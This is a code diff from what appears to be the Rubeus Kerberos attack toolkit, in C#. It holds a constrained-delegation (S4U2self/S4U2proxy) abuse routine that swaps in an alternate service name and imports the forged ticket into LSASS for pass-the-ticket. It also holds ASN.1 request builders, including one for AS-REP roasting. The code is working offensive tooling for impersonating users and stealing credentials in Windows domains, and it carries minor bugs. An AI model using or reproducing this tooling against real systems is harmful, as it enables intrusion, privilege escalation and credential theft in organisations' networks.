s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;
|
||||||
|
|
||||||
|
s4u2proxyReq.req_body.realm = domain;
|
||||||
|
|
||||||
|
string[] parts = targetSPN.Split('/');
|
||||||
|
s4u2proxyReq.req_body.sname.name_type = 2;
|
||||||
|
// the sname
|
||||||
|
s4u2proxyReq.req_body.sname.name_string.Add(parts[0]);
|
||||||
|
// the server
|
||||||
|
s4u2proxyReq.req_body.sname.name_string.Add(parts[1]);
|
||||||
|
|
||||||
|
// supported encryption types
|
||||||
|
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
|
||||||
|
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
|
||||||
|
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
|
||||||
|
|
||||||
|
// add in the ticket from the S4U2self response
|
||||||
|
s4u2proxyReq.req_body.additional_tickets.Add(rep.ticket);
|
||||||
|
|
||||||
|
byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
|
||||||
|
|
||||||
|
Console.WriteLine("[*] Sending S4U2proxy request");
|
||||||
|
byte[] response2 = Networking.SendBytes(dcIP[0].ToString(), 88, s4ubytes);
|
||||||
|
if (response == null)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// decode the supplied bytes to an AsnElt object
|
||||||
|
// false == ignore trailing garbage
|
||||||
|
AsnElt responseAsn2 = AsnElt.Decode(response2, false);
|
||||||
|
|
||||||
|
// check the response value
|
||||||
|
int responseTag2 = responseAsn2.TagValue;
|
||||||
|
|
||||||
|
if (responseTag2 == 13)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[+] S4U2proxy success!");
|
||||||
|
|
||||||
|
// parse the response to an TGS-REP
|
||||||
|
TGS_REP rep2 = new TGS_REP(responseAsn2);
|
||||||
|
|
||||||
|
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
|
||||||
|
byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
|
||||||
|
AsnElt ae2 = AsnElt.Decode(outBytes2, false);
|
||||||
|
EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);
|
||||||
|
|
||||||
|
// now build the final KRB-CRED structure
|
||||||
|
KRB_CRED cred = new KRB_CRED();
|
||||||
|
|
||||||
|
// if we want an alternate sname, first substitute it into the ticket structure
|
||||||
|
if (!String.IsNullOrEmpty(altService))
|
||||||
|
{
|
||||||
|
rep2.ticket.sname.name_string[0] = altService;
|
||||||
|
}
|
||||||
|
|
||||||
|
// add the ticket
|
||||||
|
cred.tickets.Add(rep2.ticket);
|
||||||
|
|
||||||
|
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
|
||||||
|
|
||||||
|
KrbCredInfo info = new KrbCredInfo();
|
||||||
|
|
||||||
|
// [0] add in the session key
|
||||||
|
info.key.keytype = encRepPart2.key.keytype;
|
||||||
|
info.key.keyvalue = encRepPart2.key.keyvalue;
|
||||||
|
|
||||||
|
// [1] prealm (domain)
|
||||||
|
info.prealm = encRepPart2.realm;
|
||||||
|
|
||||||
|
// [2] pname (user)
|
||||||
|
info.pname.name_type = rep2.cname.name_type;
|
||||||
|
info.pname.name_string = rep2.cname.name_string;
|
||||||
|
|
||||||
|
// [3] flags
|
||||||
|
info.flags = encRepPart2.flags;
|
||||||
|
|
||||||
|
// [4] authtime (not required)
|
||||||
|
|
||||||
|
// [5] starttime
|
||||||
|
info.starttime = encRepPart2.starttime;
|
||||||
|
|
||||||
|
// [6] endtime
|
||||||
|
info.endtime = encRepPart2.endtime;
|
||||||
|
|
||||||
|
// [7] renew-till
|
||||||
|
info.renew_till = encRepPart2.renew_till;
|
||||||
|
|
||||||
|
// [8] srealm
|
||||||
|
info.srealm = encRepPart2.realm;
|
||||||
|
|
||||||
|
// [9] sname
|
||||||
|
info.sname.name_type = encRepPart2.sname.name_type;
|
||||||
|
info.sname.name_string = encRepPart2.sname.name_string;
|
||||||
|
// if we want an alternate sname, lastely substitute it into the encrypted portion of the KRB_CRED
|
||||||
|
if (!String.IsNullOrEmpty(altService))
|
||||||
|
{
|
||||||
|
Console.WriteLine("[*] Substituting alternative service name '{0}'", altService);
|
||||||
|
info.sname.name_string[0] = altService;
|
||||||
|
}
|
||||||
|
|
||||||
|
// add the ticket_info into the cred object
|
||||||
|
cred.enc_part.ticket_info.Add(info);
|
||||||
|
|
||||||
|
byte[] kirbiBytes = cred.Encode().Encode();
|
||||||
|
|
||||||
|
string kirbiString = Convert.ToBase64String(kirbiBytes);
|
||||||
|
|
||||||
|
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
|
||||||
|
|
||||||
|
// display the .kirbi base64, columns of 80 chararacters
|
||||||
|
foreach (string line in Helpers.Split(kirbiString, 80))
|
||||||
|
{
|
||||||
|
Console.WriteLine(" {0}", line);
|
||||||
|
}
|
||||||
|
if (ptt)
|
||||||
|
{
|
||||||
|
// pass-the-ticket -> import into LSASS
|
||||||
|
LSA.ImportTicket(kirbiBytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (responseTag == 30)
|
||||||
|
{
|
||||||
|
// parse the response to an KRB-ERROR
|
||||||
|
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
|
||||||
|
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (responseTag == 30)
|
||||||
|
{
|
||||||
|
// parse the response to an KRB-ERROR
|
||||||
|
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
|
||||||
|
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,112 @@
|
||||||
|
using Asn1;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
//AP-REQ ::= [APPLICATION 14] SEQUENCE {
|
||||||
|
// pvno [0] INTEGER (5),
|
||||||
|
// msg-type [1] INTEGER (14),
|
||||||
|
// ap-options [2] APOptions,
|
||||||
|
// ticket [3] Ticket,
|
||||||
|
// authenticator [4] EncryptedData -- Authenticator
|
||||||
|
//}
|
||||||
|
|
||||||
|
public class AP_REQ
|
||||||
|
{
|
||||||
|
public AP_REQ(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype)
|
||||||
|
{
|
||||||
|
pvno = 5;
|
||||||
|
|
||||||
|
msg_type = 14;
|
||||||
|
|
||||||
|
ap_options = 0;
|
||||||
|
|
||||||
|
ticket = providedTicket;
|
||||||
|
|
||||||
|
enctype = etype;
|
||||||
|
key = clientKey;
|
||||||
|
|
||||||
|
authenticator = new Authenticator();
|
||||||
|
authenticator.crealm = crealm;
|
||||||
|
authenticator.cname = new PrincipalName(cname);
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
// pvno [0] INTEGER (5)
|
||||||
|
AsnElt pvnoASN = AsnElt.MakeInteger(pvno);
|
||||||
|
AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoASN });
|
||||||
|
pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// msg-type [1] INTEGER (14)
|
||||||
|
AsnElt msg_typeASN = AsnElt.MakeInteger(msg_type);
|
||||||
|
AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_typeASN });
|
||||||
|
msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// ap-options [2] APOptions
|
||||||
|
byte[] ap_optionsBytes = BitConverter.GetBytes(ap_options);
|
||||||
|
AsnElt ap_optionsASN = AsnElt.MakeBitString(ap_optionsBytes);
|
||||||
|
AsnElt ap_optionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ap_optionsASN });
|
||||||
|
ap_optionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ap_optionsSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// ticket [3] Ticket
|
||||||
|
AsnElt ticketASN = ticket.Encode();
|
||||||
|
AsnElt ticktSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ticketASN });
|
||||||
|
ticktSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, ticktSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// authenticator [4] EncryptedData
|
||||||
|
|
||||||
|
// KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR 7
|
||||||
|
// From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L61
|
||||||
|
if (key == null)
|
||||||
|
{
|
||||||
|
Console.WriteLine(" [X] A key for the authenticator is needed to build an AP-REQ");
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
byte[] authenticatorBytes = authenticator.Encode().Encode();
|
||||||
|
//byte[] keyBytes = Helpers.StringToByteArray(key);
|
||||||
|
byte[] encBytes = Crypto.KerberosEncrypt(enctype, 7, key, authenticatorBytes);
|
||||||
|
|
||||||
|
// create the EncryptedData structure to hold the authenticator bytes
|
||||||
|
EncryptedData authenticatorEncryptedData = new EncryptedData();
|
||||||
|
authenticatorEncryptedData.etype = (int)enctype;
|
||||||
|
authenticatorEncryptedData.cipher = encBytes;
|
||||||
|
|
||||||
|
AsnElt authenticatorEncryptedDataASN = authenticatorEncryptedData.Encode();
|
||||||
|
AsnElt authenticatorEncryptedDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authenticatorEncryptedDataASN });
|
||||||
|
authenticatorEncryptedDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authenticatorEncryptedDataSeq);
|
||||||
|
|
||||||
|
// encode it all into a sequence
|
||||||
|
AsnElt[] total = new[] { pvnoSeq, msg_typeSeq, ap_optionsSeq, ticktSeq, authenticatorEncryptedDataSeq };
|
||||||
|
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total);
|
||||||
|
|
||||||
|
// AP-REQ ::= [APPLICATION 14]
|
||||||
|
// put it all together and tag it with 14
|
||||||
|
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
|
||||||
|
totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 14, totalSeq);
|
||||||
|
|
||||||
|
return totalSeq;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public long pvno { get; set;}
|
||||||
|
|
||||||
|
public long msg_type { get; set; }
|
||||||
|
|
||||||
|
public UInt32 ap_options { get; set; }
|
||||||
|
|
||||||
|
public Ticket ticket { get; set; }
|
||||||
|
|
||||||
|
public Authenticator authenticator { get; set; }
|
||||||
|
|
||||||
|
public byte[] key { get; set; }
|
||||||
|
|
||||||
|
private Interop.KERB_ETYPE enctype;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,101 @@
|
||||||
|
using Asn1;
|
||||||
|
using System;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class AS_REP
|
||||||
|
{
|
||||||
|
//AS-REP ::= [APPLICATION 11] KDC-REP
|
||||||
|
|
||||||
|
//KDC-REP ::= SEQUENCE {
|
||||||
|
// pvno [0] INTEGER (5),
|
||||||
|
// msg-type [1] INTEGER (11 -- AS),
|
||||||
|
// padata [2] SEQUENCE OF PA-DATA OPTIONAL
|
||||||
|
// -- NOTE: not empty --,
|
||||||
|
// crealm [3] Realm,
|
||||||
|
// cname [4] PrincipalName,
|
||||||
|
// ticket [5] Ticket,
|
||||||
|
// enc-part [6] EncryptedData
|
||||||
|
// -- EncASRepPart
|
||||||
|
//}
|
||||||
|
|
||||||
|
public AS_REP(byte[] data)
|
||||||
|
{
|
||||||
|
// decode the supplied bytes to an AsnElt object
|
||||||
|
// false == ignore trailing garbage
|
||||||
|
AsnElt asn_AS_REP = AsnElt.Decode(data, false);
|
||||||
|
|
||||||
|
this.Decode(asn_AS_REP);
|
||||||
|
}
|
||||||
|
|
||||||
|
public AS_REP(AsnElt asn_AS_REP)
|
||||||
|
{
|
||||||
|
this.Decode(asn_AS_REP);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Decode(AsnElt asn_AS_REP)
|
||||||
|
{
|
||||||
|
// AS-REP::= [APPLICATION 11] KDC-REQ
|
||||||
|
if (asn_AS_REP.TagValue != 11)
|
||||||
|
{
|
||||||
|
throw new System.Exception("AS-REP tag value should be 11");
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((asn_AS_REP.Sub.Length != 1) || (asn_AS_REP.Sub[0].TagValue != 16))
|
||||||
|
{
|
||||||
|
throw new System.Exception("First AS-REP sub should be a sequence");
|
||||||
|
}
|
||||||
|
|
||||||
|
// extract the KDC-REP out
|
||||||
|
AsnElt[] kdc_rep = asn_AS_REP.Sub[0].Sub;
|
||||||
|
|
||||||
|
foreach (AsnElt s in kdc_rep)
|
||||||
|
{
|
||||||
|
switch (s.TagValue)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
pvno = s.Sub[0].GetInteger();
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
msg_type = s.Sub[0].GetInteger();
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
// sequence of pa-data
|
||||||
|
//padata = new PA_DATA(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
cname = new PrincipalName(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
case 5:
|
||||||
|
ticket = new Ticket(s.Sub[0].Sub[0]);
|
||||||
|
break;
|
||||||
|
case 6:
|
||||||
|
enc_part = new EncryptedData(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// won't really every need to *create* a AS reply, so no encode
|
||||||
|
|
||||||
|
public long pvno { get; set; }
|
||||||
|
|
||||||
|
public long msg_type { get; set; }
|
||||||
|
|
||||||
|
public PA_DATA padata { get; set; }
|
||||||
|
|
||||||
|
public string crealm { get; set; }
|
||||||
|
|
||||||
|
public PrincipalName cname { get; set; }
|
||||||
|
|
||||||
|
public Ticket ticket { get; set; }
|
||||||
|
|
||||||
|
public EncryptedData enc_part { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,206 @@
|
||||||
|
using Asn1;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
//AS-REQ ::= [APPLICATION 10] KDC-REQ
|
||||||
|
|
||||||
|
//KDC-REQ ::= SEQUENCE {
|
||||||
|
// -- NOTE: first tag is [1], not [0]
|
||||||
|
// pvno [1] INTEGER (5) ,
|
||||||
|
// msg-type [2] INTEGER (10 -- AS),
|
||||||
|
// padata [3] SEQUENCE OF PA-DATA OPTIONAL
|
||||||
|
// -- NOTE: not empty --,
|
||||||
|
// req-body [4] KDC-REQ-BODY
|
||||||
|
//}
|
||||||
|
|
||||||
|
public class AS_REQ
|
||||||
|
{
|
||||||
|
public static byte[] NewASReq(string userName, string domain, Interop.KERB_ETYPE etype)
|
||||||
|
{
|
||||||
|
// build a new AS-REQ for the given userName, domain, and etype, but no PA-ENC-TIMESTAMP
|
||||||
|
// used for AS-REP-roasting
|
||||||
|
|
||||||
|
AS_REQ req = new AS_REQ();
|
||||||
|
|
||||||
|
// set the username to roast
|
||||||
|
req.req_body.cname.name_string.Add(userName);
|
||||||
|
|
||||||
|
// the realm (domain) the user exists in
|
||||||
|
req.req_body.realm = domain;
|
||||||
|
|
||||||
|
// KRB_NT_SRV_INST = 2
|
||||||
|
// service and other unique instance (krbtgt)
|
||||||
|
req.req_body.sname.name_type = 2;
|
||||||
|
req.req_body.sname.name_string.Add("krbtgt");
|
||||||
|
req.req_body.sname.name_string.Add(domain);
|
||||||
|
|
||||||
|
// add in our encryption type
|
||||||
|
req.req_body.etypes.Add(etype);
|
||||||
|
|
||||||
|
return req.Encode().Encode();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] NewASReq(string userName, string domain, string keyString, Interop.KERB_ETYPE etype)
|
||||||
|
{
|
||||||
|
// build a new AS-REQ for the given userName, domain, and etype, w/ PA-ENC-TIMESTAMP
|
||||||
|
// used for "legit" AS-REQs w/ pre-auth
|
||||||
|
|
||||||
|
// set pre-auth
|
||||||
|
AS_REQ req = new AS_REQ(keyString, etype);
|
||||||
|
|
||||||
|
// req.padata.Add()
|
||||||
|
|
||||||
|
// set the username to request a TGT for
|
||||||
|
req.req_body.cname.name_string.Add(userName);
|
||||||
|
|
||||||
|
// the realm (domain) the user exists in
|
||||||
|
req.req_body.realm = domain;
|
||||||
|
|
||||||
|
// KRB_NT_SRV_INST = 2
|
||||||
|
// service and other unique instance (krbtgt)
|
||||||
|
req.req_body.sname.name_type = 2;
|
||||||
|
req.req_body.sname.name_string.Add("krbtgt");
|
||||||
|
req.req_body.sname.name_string.Add(domain);
|
||||||
|
|
||||||
|
// add in our encryption type
|
||||||
|
req.req_body.etypes.Add(etype);
|
||||||
|
|
||||||
|
return req.Encode().Encode();
|
||||||
|
}
|
||||||
|
|
||||||
|
public AS_REQ()
|
||||||
|
{
|
||||||
|
// default, for creation
|
||||||
|
pvno = 5;
|
||||||
|
msg_type = 10;
|
||||||
|
|
||||||
|
padata = new List<PA_DATA>();
|
||||||
|
padata.Add(new PA_DATA());
|
||||||
|
|
||||||
|
req_body = new KDCReqBody();
|
||||||
|
}
|
||||||
|
|
||||||
|
public AS_REQ(string keyString, Interop.KERB_ETYPE etype)
|
||||||
|
{
|
||||||
|
// default, for creation
|
||||||
|
pvno = 5;
|
||||||
|
msg_type = 10;
|
||||||
|
|
||||||
|
padata = new List<PA_DATA>();
|
||||||
|
|
||||||
|
// add the encrypted timestamp
|
||||||
|
padata.Add(new PA_DATA(keyString, etype));
|
||||||
|
|
||||||
|
// add the include-pac == true
|
||||||
|
padata.Add(new PA_DATA());
|
||||||
|
|
||||||
|
req_body = new KDCReqBody();
|
||||||
|
}
|
||||||
|
|
||||||
|
public AS_REQ(byte[] data)
|
||||||
|
{
|
||||||
|
// decode the supplied bytes to an AsnElt object
|
||||||
|
data = AsnIO.FindBER(data);
|
||||||
|
AsnElt asn_AS_REQ = AsnElt.Decode(data);
|
||||||
|
padata = new List<PA_DATA>();
|
||||||
|
|
||||||
|
// AS-REQ::= [APPLICATION 10] KDC-REQ
|
||||||
|
// tag class == 1
|
||||||
|
// tag class == 10
|
||||||
|
// SEQUENCE
|
||||||
|
if (asn_AS_REQ.TagValue != 10)
|
||||||
|
{
|
||||||
|
throw new System.Exception("AS-REQ tag value should be 10");
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((asn_AS_REQ.Sub.Length != 1) || (asn_AS_REQ.Sub[0].TagValue != 16))
|
||||||
|
{
|
||||||
|
throw new System.Exception("First AS-REQ sub should be a sequence");
|
||||||
|
}
|
||||||
|
|
||||||
|
// extract the KDC-REP out
|
||||||
|
AsnElt[] kdc_req = asn_AS_REQ.Sub[0].Sub;
|
||||||
|
|
||||||
|
foreach (AsnElt s in kdc_req)
|
||||||
|
{
|
||||||
|
switch (s.TagValue)
|
||||||
|
{
|
||||||
|
case 1:
|
||||||
|
pvno = s.Sub[0].GetInteger();
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
msg_type = s.Sub[0].GetInteger();
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
// sequence of pa-data
|
||||||
|
foreach(AsnElt pa in s.Sub[0].Sub)
|
||||||
|
{
|
||||||
|
padata.Add(new PA_DATA(pa));
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
// KDC-REQ-BODY
|
||||||
|
req_body = new KDCReqBody(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new System.Exception(String.Format("Invalid tag AS-REQ value : {0}", s.TagValue));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
// pvno [1] INTEGER (5)
|
||||||
|
AsnElt pvnoAsn = AsnElt.MakeInteger(pvno);
|
||||||
|
AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn });
|
||||||
|
pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, pvnoSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// msg-type [2] INTEGER (10 -- AS -- )
|
||||||
|
AsnElt msg_type_ASN = AsnElt.MakeInteger(msg_type);
|
||||||
|
AsnElt msg_type_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_type_ASN });
|
||||||
|
msg_type_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, msg_type_ASNSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// padata [3] SEQUENCE OF PA-DATA OPTIONAL
|
||||||
|
List<AsnElt> padatas = new List<AsnElt>();
|
||||||
|
foreach (PA_DATA pa in padata)
|
||||||
|
{
|
||||||
|
padatas.Add(pa.Encode());
|
||||||
|
}
|
||||||
|
|
||||||
|
AsnElt padata_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, padatas.ToArray());
|
||||||
|
AsnElt padata_ASNSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { padata_ASNSeq });
|
||||||
|
padata_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, padata_ASNSeq2);
|
||||||
|
|
||||||
|
// req-body [4] KDC-REQ-BODY
|
||||||
|
AsnElt req_Body_ASN = req_body.Encode();
|
||||||
|
AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });
|
||||||
|
req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// encode it all into a sequence
|
||||||
|
AsnElt[] total = new[] { pvnoSeq, msg_type_ASNSeq, padata_ASNSeq, req_Body_ASNSeq };
|
||||||
|
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total);
|
||||||
|
|
||||||
|
// AS-REQ ::= [APPLICATION 10] KDC-REQ
|
||||||
|
// put it all together and tag it with 10
|
||||||
|
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
|
||||||
|
totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 10, totalSeq);
|
||||||
|
|
||||||
|
return totalSeq;
|
||||||
|
}
|
||||||
|
|
||||||
|
public long pvno { get; set;}
|
||||||
|
|
||||||
|
public long msg_type { get; set; }
|
||||||
|
|
||||||
|
//public PAData[] padata { get; set; }
|
||||||
|
public List<PA_DATA> padata { get; set; }
|
||||||
|
|
||||||
|
public KDCReqBody req_body { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,105 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.Text;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class Authenticator
|
||||||
|
{
|
||||||
|
//Authenticator ::= [APPLICATION 2] SEQUENCE {
|
||||||
|
// authenticator-vno [0] INTEGER (5),
|
||||||
|
// crealm [1] Realm,
|
||||||
|
// cname [2] PrincipalName,
|
||||||
|
// cksum [3] Checksum OPTIONAL,
|
||||||
|
// cusec [4] Microseconds,
|
||||||
|
// ctime [5] KerberosTime,
|
||||||
|
// subkey [6] EncryptionKey OPTIONAL,
|
||||||
|
// seq-number [7] UInt32 OPTIONAL,
|
||||||
|
// authorization-data [8] AuthorizationData OPTIONAL
|
||||||
|
//}
|
||||||
|
|
||||||
|
// NOTE: we're only using:
|
||||||
|
// authenticator-vno [0]
|
||||||
|
// crealm [1]
|
||||||
|
// cname [2]
|
||||||
|
// cusec [4]
|
||||||
|
// ctime [5]
|
||||||
|
|
||||||
|
public Authenticator()
|
||||||
|
{
|
||||||
|
authenticator_vno = 5;
|
||||||
|
|
||||||
|
crealm = "";
|
||||||
|
|
||||||
|
cname = new PrincipalName();
|
||||||
|
|
||||||
|
cusec = 0;
|
||||||
|
|
||||||
|
ctime = DateTime.UtcNow;
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
List<AsnElt> allNodes = new List<AsnElt>();
|
||||||
|
|
||||||
|
|
||||||
|
// authenticator-vno [0] INTEGER (5)
|
||||||
|
AsnElt pvnoAsn = AsnElt.MakeInteger(authenticator_vno);
|
||||||
|
AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn });
|
||||||
|
pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq);
|
||||||
|
allNodes.Add(pvnoSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// crealm [1] Realm
|
||||||
|
AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, crealm);
|
||||||
|
realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn);
|
||||||
|
AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn });
|
||||||
|
realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, realmSeq);
|
||||||
|
allNodes.Add(realmSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// cname [2] PrincipalName
|
||||||
|
AsnElt snameElt = cname.Encode();
|
||||||
|
snameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, snameElt);
|
||||||
|
allNodes.Add(snameElt);
|
||||||
|
|
||||||
|
|
||||||
|
// TODO: correct format (UInt32)?
|
||||||
|
// cusec [4] Microseconds
|
||||||
|
AsnElt nonceAsn = AsnElt.MakeInteger(cusec);
|
||||||
|
AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn });
|
||||||
|
nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, nonceSeq);
|
||||||
|
allNodes.Add(nonceSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// ctime [5] KerberosTime
|
||||||
|
AsnElt tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, ctime.ToString("yyyyMMddHHmmssZ"));
|
||||||
|
AsnElt tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tillAsn });
|
||||||
|
tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq);
|
||||||
|
allNodes.Add(tillSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// package it all up
|
||||||
|
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray());
|
||||||
|
|
||||||
|
|
||||||
|
// tag the final total
|
||||||
|
AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq });
|
||||||
|
final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 2, final);
|
||||||
|
|
||||||
|
return final;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public long authenticator_vno { get; set; }
|
||||||
|
|
||||||
|
public string crealm { get; set; }
|
||||||
|
|
||||||
|
public PrincipalName cname { get; set; }
|
||||||
|
|
||||||
|
public long cusec { get; set; }
|
||||||
|
|
||||||
|
public DateTime ctime { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,64 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.Text;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class Checksum
|
||||||
|
{
|
||||||
|
//Checksum ::= SEQUENCE {
|
||||||
|
// cksumtype [0] Int32,
|
||||||
|
// checksum [1] OCTET STRING
|
||||||
|
//}
|
||||||
|
|
||||||
|
public Checksum(byte[] data)
|
||||||
|
{
|
||||||
|
// KERB_CHECKSUM_HMAC_MD5 = -138
|
||||||
|
cksumtype = -138;
|
||||||
|
|
||||||
|
checksum = data;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Checksum(AsnElt body)
|
||||||
|
{
|
||||||
|
foreach (AsnElt s in body.Sub)
|
||||||
|
{
|
||||||
|
switch (s.TagValue)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
cksumtype = Convert.ToInt32(s.Sub[0].GetInteger());
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
checksum = s.Sub[0].GetOctetString();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
